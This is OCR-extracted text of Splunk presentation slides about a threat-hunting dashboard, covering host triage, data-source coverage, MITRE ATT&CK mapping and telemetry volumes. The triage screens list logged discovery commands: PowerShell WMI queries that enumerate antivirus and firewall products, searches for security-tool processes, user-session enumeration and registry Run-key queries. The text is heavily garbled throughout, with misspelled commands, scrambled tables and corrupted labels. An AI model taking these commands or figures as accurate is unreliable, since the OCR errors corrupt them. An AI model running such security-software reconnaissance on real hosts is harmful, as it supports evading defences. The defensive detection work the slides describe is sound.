Las 28 heurs z ‘ s |

JARVIS-CB-WIN10

host_identifier ip_address ¢ mac_address $ operating_system $
jarvis-cb-win1@ 10.137.117.119 windows
First seen (process list): Last Seen (process list):

2019-09-11 17:56:00

Index Summary HAL Results
index % count(index) % source
1145718 2 - Co

30281 L 131 \

128246 L

19

Latest Rare command line

command_line &

powershell.exe -c "Get-Process | ?{$_.Description -like \"xvirus\"}"

powershell.exe -c "Get-WniObject -Namespace root\SecurityCenter2 -class AntiSpywareProduct”
powershell.exe -c "Get-Wnilbject -Namespace root\SecurityCenter2 -class AntiVirusProduct"
povershell.exe -c "Get-WniObject -Namespace root\SecurityCenter2 -class FirewallProduct”
quser

quser /SERVER: JARVIS-CB-WIN10

quser /SERVER:localhost

qwinsta

reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell®

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

HAL Testing and Validation ¥

Splunk ¥

Ashleigh v Messages v Settings v Activity v Helpv  Find

Tools ¥

Edit Export v .

architecture ¥ time ¢

2019-09-12 18:15:23

count &

2 3 4 5 6 7 8 9 10 next»

count ~

splunk>

NN N NN NN N NN




splunk>enterprise  App: Dark_Labs_App ~ Ashleigh v Messages v Settings v Activity v Helpv  Find

Search AATH Platform Monitoring » Hunt Analytic Library ¥ HAL Results » Hunt Plan~ Analyst Dashboards ¥ HAL Testing and Validation ¥ Splunk > Tools ¥

Host_Triage Edit | Exportv ..
Hostname (test_host "BLUE-CB- Wildcard Search

'WIN10-1")

JARVIS-CB-WIN10 S

host_identifier + ip_address ¢ mac_address ¢ operating_system & architecture ¢ time ¢ /

Jjarvis-cb-win1@ 10.137.117.119 windows /

First seen (process list): Last Seen (process list): /

- 2019-09-11 18:16:39 2019-09-12 17:57:46 %

e m o St e

. index # count(index) $ source ¢ count $ /
- 112407 L N C 9

i , %

108873 - Atom hel /

2 3 4 5 6 7 8 9 10 next» /

Latest Rare command line /

Dashboard

count
command_line $ -
C:\Windows\System32\WindowsPowerShell\v1,0\powershell.exe -c "$executable=$Env:temp + '\baseline_test.exe'; $a=Get-AuthenticodeSignature -FilePath $executable; if ($a.status -eq 'Valid') {& $executable} Else {exit 13" i
" powershell.exe -c "Get-Process | ?{$_.Description -like \"xcarbonblack#\"}" 1
Leve rage Wildcard Search S S S w
powershell.exe -c¢ "Get-Process | 2{$_.Description -like \"virus*\"}" 1
powershell.exe -c "Get-WmiObject -Namespace root\SecurityCenter? -class AntiVirusPraduct” 1
powershell.exe -c "Get-WmiObject -Namespace root\SecurityCenter2 -class FirewallProduct” 1l
"C:\Windows\Microsoft.NET\Framework\v4.8.3@319\ngen.exe" install "Microsoft.PowerShell.Commands.Management, Version=3.0.2.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /NoDependencies /norcot /version:v4.0.30313 2
/LegacyServiceBehavior
"C:\Windows\Microsoft.NET\Framework\v4.@.30319\ngen.exe" install "Microsoft.PowerShell.Commands.Utility, Version=3.0.8.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /NoDependencies /noroot /version:v4.0.30319 Z

11 egacvServiceRehavior

splunk>
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HAL Data Source and OS Coverage

HAL Name Search String
A [CJan
Windows

Operating System Select Data Sources

[]An Last 7 days - Submit

[] Tanium-All

[ Linux [] Tanium-Trace
[] Network [] Tanium-Dark Labs
D Mac @ CarbonBlack
Search produced no results. D HX
[] crowdstrike
|
Number of Matching Signatures Number of Matching Analytics

Coverag
Gaps

Teble other (16) alertmessage

M nalytics to
Correlation scheduled_tasks task_name
Data Collected s g

registryreg_key
registryreg_data

NN N0 NN NN NN

Hyglene service.short_name alert process_name
senvicelong_name file_system.action

service.command_line file_system file_name

file_system file_path

process.command_line

process loaded_modules

process.parent_process_name

reglstry.process_name

s el ma process.parent_process_path

process.process_name

splunk>
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Demo 2:

Coverage
Gaps

Map Analytics to
Data Collected

© 2019 SPLUNK INC.

HAL Data Source and OS Coverage

HAL Name Search String Operating System Select Data Sources
0 [Jan CJau

[/] Windows (] Tanium-All

(] Linux [[] Tanium-Trace
(] Tanium-Dark Labs
] mec [7] CarbonBiack

Search produced no rezuits OJHx

[[] Crowdstrike

Number of Matching Signatures Number of Matching Analytics

HAL by Category Data Types Available MITRE ATT&CK Coverage

other 16)

service.short_neme

systomie_name
Conelation fle_systemfie_path T2 Prsatance - TS Jota
process command_ine TSE: Dutense v Mcen s and Drecires BT —

7140: atense vt Do Dacade e o rmation TI07 Cotecton Dot Staged
process loaded_moduies.

process parent_process_name

TI007: Dicovery - Accaun Ducovry

process parent_process_path
processprocess_path > .

process process_name 11050 Commars And Corrol - Commacion romy 08 Detrse Evsion - BypansUser Accour Corrt

splunk>




Demo 2:

Track
Data
Volumes

|dentify Collection
Errors Quickly
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All Data In Last 24 Hours

200000

100000

BOOAM  S00AM  10D0AM
e Sepd

£0 AM

Carbon Black
meta manitest_name &
carbonblace/binzryinfo_nosL_ubserved

carbonblac</ngress_cvent_childproc

earhanhlac</ingress_svent_crassprocopen

200PY

carborblace/ingress_svenl_crossprocoper_filesyslen

carbonblack/ingress cvent Filemod
carhonblack/ingress_svent_miule
carborblace/ingress_evenl_mduleload
carboiblac</ingress event netconn

carboblack/ingres:

vent_procend
carbonblac«/ingress_gvent_procstart

carbonblac</ingreas_evenr_reznod

T
100 PM

coum ®
[

6316
18746
21352
24
1254

2357122

REES

OPM  400PM

200PM

Crowdstrike Falcon

500FM  GOOPM

No rasdts Found

700PM

300PM

900PM  100PM  TLOOPM  12COAM
Thi Sen 8

Tanium

meta manfest_name §
Laniun/dns_resolver _cachie_cnames
tanlus/dns_resolver_cache_hosts

taniun/trace_executed_processes

300 AM

coum ¢

400AM  G00AM  GOCAM  Z00AM  BOJAM

HX

meta.manifest_name &
hie/evenLuf Ter_audressNolificationEvent
hx/eventouf fer_dnsLookupEvant
he/eventhut ter_iragel nadrvent
he/uventbuf Ter_ipveNetwor kEvent
hx/eventouffer processevent
he/eventhut ter_regdeyFvent
h/uven Lbul Ter_ur 1Moni Lor Evenl
hx/aysinfo
hx/a32persistence_registry
hx/a32services

he/a3vrasks

carbonbiack

— Lanlun
NUL

count 8

94
171263
arma
181018
158248
43587

31542

NN NN N NN\




Demo 2:

Track
Data

Volumes

|dentify Collection
Errors Quickly
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